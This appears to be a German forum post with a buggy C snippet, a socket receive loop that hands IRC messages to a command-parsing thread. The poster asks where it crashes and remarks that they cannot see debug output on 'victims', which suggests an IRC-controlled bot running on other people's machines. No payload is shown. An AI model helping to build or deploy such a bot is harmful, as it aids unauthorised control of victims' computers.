Code:
              for(;;) {
          err = 0;
        //  WaitForSingleObject((HANDLE)x,300); //test

            if(b == NULL) {
              memset(puffer,0,sizeof(puffer));
              CloseHandle((HANDLE)x);
            }
            else {
                while(1) 
                    if(b == NULL)
                        break;
                
              CloseHandle((HANDLE)x);
              memset(puffer,0,sizeof(puffer));    
            }

                err = recv(socket,puffer,MAX-1,0);

          if((err == 0) || (err == SOCKET_ERROR)) {
            //printf("WSAGetLastError: %i\n",WSAGetLastError());
            shutdown(socket,2);
            closesocket(socket);
            WSACleanup();
            return 1;
          }
          else {
              puffer[err] = '\0';
              b = calloc(strlen(puffer)+1,sizeof(char));
                if(b != NULL) {
                   strncpy(b,puffer,strlen(puffer));
                   cmd.msg = &b;
                   x = _beginthreadex(NULL,0,split_cmd,&cmd,0,NULL);
                }
          } 

//split_cmd()
unsigned __stdcall split_cmd(irc *cmd) {
     
    char *p,user[24],*buf;
    argv parameters;
    int err,socket;
   
      memset(&parameters,0,sizeof(argv));   

    buf = calloc(strlen(*cmd->msg)+1,sizeof(char));
     if(buf == NULL)
       return 1;
     else
       memset(buf,0,sizeof(buf));

    
  strncpy(buf,*cmd->msg,strlen(*cmd->msg));
  free(*cmd->msg);
  *cmd->msg = NULL;
Irgendwo in diesem Code muss ein Fehler sein...


der einfach ein paar Debug-Ausgaben einfügen und schauen wo das Ding abstürzt.
Bei Victims sehe ich die Ausgaben nicht...